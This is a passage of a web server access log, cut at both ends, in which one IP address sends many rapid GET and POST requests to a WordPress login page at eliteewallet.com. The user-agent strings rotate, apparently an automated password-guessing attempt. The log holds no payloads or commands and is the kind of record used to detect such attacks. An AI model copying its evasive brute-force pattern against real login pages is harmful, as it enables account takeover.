"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:18 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:30 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:30 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:30 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:30 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:30 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:30 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:31 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:32 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:33 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:33 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:33 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:33 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:33 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:33 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:33 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:34 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:35 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:42 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:42 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:43 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; 